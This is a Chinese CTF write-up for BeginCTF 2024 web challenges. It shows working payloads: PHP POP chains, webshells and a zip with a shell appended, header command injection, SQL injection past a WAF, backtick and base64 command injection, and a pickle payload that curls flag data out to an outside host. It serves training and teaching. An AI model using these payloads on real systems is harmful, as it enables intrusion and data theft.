BeginCTF 2024

网址: http://47.100.169.26/

战队名: Kengwang

Solved: 16

Channel: 新生赛道

本人正在和 Yakit 磨合, 本文中可能会出现 YakLang 语法

POPgadget

一个简单的反序列化

看题面:

<?php

highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?>

可以看到提示了我们 FLAG 在环境变量中, 考虑打 phpinfo

我们自顶向下分析, 可以看到 B 中有个 __destruct, 可以看到访问了 a 之中的 $p

继续追到 A 中的 __get, 他执行了 a 中的 p 方法, 当然这个 a 不能是 Test

继续追到 Fun 里面的 __call, 可以看到调用了 call_user_func, 同时出题人好心提醒了使用 call_user_func_array

call_user_func_array 可以把第一个参数作为回调函数, 第二个作为参数

而我们的 phpinfo 支持零参调用, 于是我们尝试构造反序列化链

<?php
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        exit;
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p = "phpinfo";
    public $a;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}

$a = new A();
$b = new B();
$fun = new Fun();
$a->a = $fun;
$b->a = $a;
echo urlencode(serialize($b));


?>

打入即可出

image-20240205123231726

zupload 系列

这是一系列文件上传的题目, 用了各种方法来进行绕过, 爆率高, 节奏爽 (bushi)

zupload

可以看其后端源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    echo json_encode(array(
        'status' => 'error',
        'message' => 'Not implemented yet'
    ));
}

发现其直接使用 file_get_contents 解析用户传入参数, 直接 action=/flag 拿到 flag

zupload-pro

又将 action 过滤, 不允许开头为 / 并且不包含 .., 但是仅有前端限制了上传的文件类型

直接上传一句话木马

<?php eval($_POST[0]);

前端的话正常情况是传个 zip 然后 BurpSuite / Yakit 抓包后进行改包, 我本着少开一个软件的原则, 直接前端给 215 行下断, 在上传时断下来后手动执行一下 fetch

image-20240205124244470

image-20240205124258793

(别问, 问就是懒)

然后用 AntSword 访问 /uploads/马的名字

image-20240205124610011

之后通过文件管理即可拿 flag

zupload-pro-plus

可以看到后端检查了扩展名, 但是用的是 $file_ext[1]

尝试将马的名字改成 eval.zip.php, 前端同样的绕过套路, 成功上传马

这两个题的非预期

可以看到过滤条件

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false)

我们可以利用伪协议file://来访问本地文件

直接传入参数 action=file:///flag

zupload-pro-plus-max

这道题可以看到终于使用的是 end($file_ext), 同时为了避免传的不是 zip 文件, 还使用了 new ZipArchive())->open($file_tmp) 检查是否为 zip

同时上面换成了 include($_GET['action']), 可以 include 文件

因为 include 的话会解析文件中用<?php ?>包裹的 php 代码, 考虑将马追加到 zip 的文件尾部

先创建一个小一点的压缩包, 在用十六进制编辑器对其编辑一下.

(当然你也可以用 BurpSuite 直接改, 不建议用 Burp 的 Paste From File 功能, 听说编码会乱)

我这边就用 HxD 对 zip 进行追加马, 马的话别用 POST 了, 直接 echo file_get_contents('/flag');

image-20240205125936433

之后访问 ?action=uploads/php-eval.zip 即可出 flag

zupload-pro-plus-max-ultra

看后端发现有

    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
// ......
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

存在 RCE, (看似文件上传, 实际是 RCE!)

在 Header 中构造

X-Extract-To: uploads/;cp /flag flag;

之后再访问 /flag 即可拿到

zupload-pro-plus-max-ultra-premium

这个后端过滤的无懈可击, 既检查了文件后缀名, 同时不将用户上传的直接放在可访问的路径, 而是解压后放在 upload 中. 同时也过滤了文件中的可执行

我们可以尝试利用 Linux 中的软连接机制来链接到根目录的 flag, 当然这要我们去 Linux 环境操作一下

touch /flag
ln -s /flag flag
zip -ry flag.zip flag

将这个 flag.zip 上传后访问 /uploads/flag 即可拿到 flag

上一道题也可用这种打法

zupload-pro-plus-enhanced

zupload-pro-plus 正解一样, 修复了非预期

zupload-pro-revenge

zupload-pro 一样正解一样, 修复了非预期

sql教学局

新手教学局, 还能回显 SQL 语句, 我哭死

可以看到后端的逻辑

function waf($input){
    ...
}
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['user'])) {
    $userInput = waf($_GET['user']);
    $query = "SELECT secret FROM ctf WHERE user='$userInput'";
    $result = $conn->query($query);
    if ($result) {
        ...
    } else {
        ...
    }
}
$conn->close();

可以看三个阶段的要求:

  • 第一段flag位于 secret数据库password表的某条数据
  • 第二段flag位于 当前数据库score表,学生begin的成绩(grade)
  • 第三段flag位于 /flag
下方使用了 YakLang 语法, {{url()}} 代表将括号内内容使用 URL 编码

我们考虑使用 UNION SELECT 来打, 尝试构造参数 user={{url(' ORDER BY 1#)}}

可以看到被 WAF 拦截, 我们尝试拆一下字符串内容, 判断 WAF 的规则

通过拆解可以发现绕过了 (空格), 可以使用 /**/ 代替 , 再次尝试{{url('/**/ORDER/**/BY/**/1#)}}

发现返回的 SQL 语句中缺少了 OR, 于是我们采用双写绕过 {{url('/**/OORRDER/**/BY/**/1#)}, 并未报错, 证明有两个字段, 于是我们开始拼接 UNION SELECT

经过一系列简单测试, 发现会替换掉 FROM, SELECT, OR, load

第一阶段

第一个阶段并未透露出是哪个字段, 于是我们可以查询下 information_schema.columns

于是传参 {{url('/**/UNION/**/SELSELECTECT/**/group_concat(column_name)/**/FRFROMOM/**/infoorrmation_schema.columns/**/WHERE/**/table_name/**/like/**/'passwoorrd)}}

可以看到有 flag, id, note, 于是开始执行 {{url('/**/UNION/**/SELSELECTECT/**/group_concat(flag)/**/FRFROMOM/**/secret.passwoorrd#)}}

即可拿到第一段 flag

第二阶段

然后第二阶段同样的套路, 我们不知道名称的字段名, 可以去 information_schema.columns

{{url('/**/UNION/**/SELSELECTECT/**/group_concat(column_name)/**/FRFROMOM/**/infoorrmation_schema.columns/**/WHERE/**/table_name/**/like/**/'scoorre)}}

可以查到有 grade, student

我们于是拼接语句

{{url('/**/UNION/**/SELSELECTECT/**/group_concat(grade)/**/FRFROMOM/**/scoorre/**/WHERE/**/student/**/like/**/'begin)}}

拿到第二段 flag

第三阶段

读本地文件, 我们拼接

{{url('/**/UNION/**/SELSELECTECT/**/loloadad_file('/flag')#)}}

拿到第三阶段 flag

回顾

拿完了之后我们再回顾以下这道题, 我们呢可以看看服务端的配置, 以下内容通过 load_file 获取

<?php
$host = 'localhost';
$username = 'root';
$password = 'root';
$database = 'ctf';


$conn = new mysqli($host, $username, $password, $database);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

$query = '';
$resultText = '';

function waf($input)
{
    if (preg_match('/regexp|left|floor|reverse|update|between|=|>|<|and|\|right|substr|replace|char|&|\\\$|sleep| /i', $input, $matches)) {
        return array(false, $matches[0]);
    } else {
        $pattern = "/(select|from|load|or)/i";;
        $input = preg_replace($pattern, '', $input);
        return array(true, $input);
    }
}

if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['user'])) {
    $wafOutput = waf($_GET['user']);
    if ($wafOutput[0] === false) {
        $resultText = "WAF!!!"
    }
    $query = "SELECT secret FROM ctf WHERE user='$userInput'";
    $result = $conn->query($query);
    if ($result) {
        ...
    } else {
        ...
    }
}
// ......

可以看到他的 waf 是怎么样的

readbooks

打开之后发现有两个 api

  • /list/{param}
  • /public/{param}

我们可以在 list 中使用 * 进行通配, 发现列出了目录

app.py
blacklist.txt
book1
book2

__pycache__:
app.cpython-310.pyc

private:
nothing_here

static:

templates:
index.html

我们试着再 /public/app.py, 发现被 banned, 我们使用通配符绕过一下, 得到后端

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

@app.route('/list/<path:name>')
def listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

我们再看看 blacklist.txt, 使用 /public/black*

发现这是个恐怖的 blacklist, 过滤了几乎所有的 Linux 指令.

我们分析一下可知后端没有过滤掉管道字符 |, 我们可以执行多个指令

而对于被 blacklist 掉的指令, 我们尝试使用 ` 符号进行绕过 (希望 Markdown 解析器别炸)

比如 cat=>ca`t`, 即可绕过黑名单, 于是我们尝试进行 RCE

可以看到题目过滤掉了空格, 我们采用 $IFS$1 替代

由于题目过滤掉了 / 我们需要对指令进行 base64 一下

于是我们先列出根目录内容 ls / ==base64==>bHMgLyAg (/ 有两个空格, 防止出现等号, 不要也可以, 直接删掉就行)

于是构造出 book|ec`ho$IFS$1bHMgLwAg|base64$IFS$1-d|bash`

关注到文件 _flag

于是构造 cat /_flag ==base64==> Y2F0IC9fZmxhZyAg

于是构造出 book|ec`ho$IFS$1Y2F0IC9fZmxhZyAg|base64$IFS$1-d|bash`

得到flag

pickelshop

Python 反序列化喵~

我们先进行 Register, 可以看到响应是

gASVMQAAAAAAAAB9lCiMCHVzZXJuYW1llIwIa2VuZ3dhbmeUjAhwYXNzd29yZJSMCHBAc3N3MHJklHUu

于是我们尝试进行 base64 解码, 发现是反序列化串. 我们搜索可知 Pickel 是 Python 的反序列化库

而 Pickel 会反序列化成 PVM 操作码, 有兴趣了解可以瞅瞅 Python安全学习—Python反序列化漏洞 by H3rmesk1t

当然, 总而言之, 我们可以利用这个来序列化 os.system 来让其在反序列化时进行 rce

import os
import pickle
import base64

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def __reduce__(self):
        return (eval,("__import__('os').system('curl http://ip:port/`cat /flag|base64`')",))
    
user = User("kengwang","hatepython")
print(base64.b64encode(pickle.dumps(user)).decode())

于是我们拿到 payload:

gASVXQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxBX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgaHR0cDovL2lwOnBvcnQvYGNhdCAvZmxhZ3xiYXNlNjRgJymUhZRSlC4=

传入后即可在我们远端拿到 flag

king

NoSQL???

打开网页后 F12 关注到开启了一个 WebSocket, 我们查看他们的消息串

image-20240205180201507

分析发现后端是 MongoDB, 我们可以查询到 MongoDB 所有可用的指令 at MongoDB 官方文档

当然, 我们也可以用 listCommands 来查询到所有支持的指令

image-20240205180635322

通过试验关注到 listCollections,

{"id":"3b798yphvx3","query":{"listCollections":""}}

执行后发现

image-20240205181059579

于是尝试

{"id":"3b798yphvx3","query":{"find":"flag74xvmf0xhew"}}

image-20240205181226028

得到 flag

其他第三方 wp

第三方 wp 整理

@白露 https://www.hbailu.top/index.php/archives/131

@圣白树开花 https://wanglee.cool/2024/02/04/beginctf2024%E7%AC%94%E8%AE%B0/

@古中国掌管签到的神 https://www.ctfrookie.top/2024/02/06/BeginCTF2024%20WP/

@re-P1sc3s007 https://blog.csdn.net/Pisces50002/article/details/136053784

@Kengwang https://blog.kengwang.com.cn/archives/612/

@Anjv-W. https://github.com/anjvW/writeup/tree/main/beginCTF-20240205

@N1gh7ma12e https://www.nssctf.cn/note/set/5422

@yuro https://yurogod.github.io/ctf/events/BeginCTF-2024/

@霂 https://linmur.top/tag/beginctf/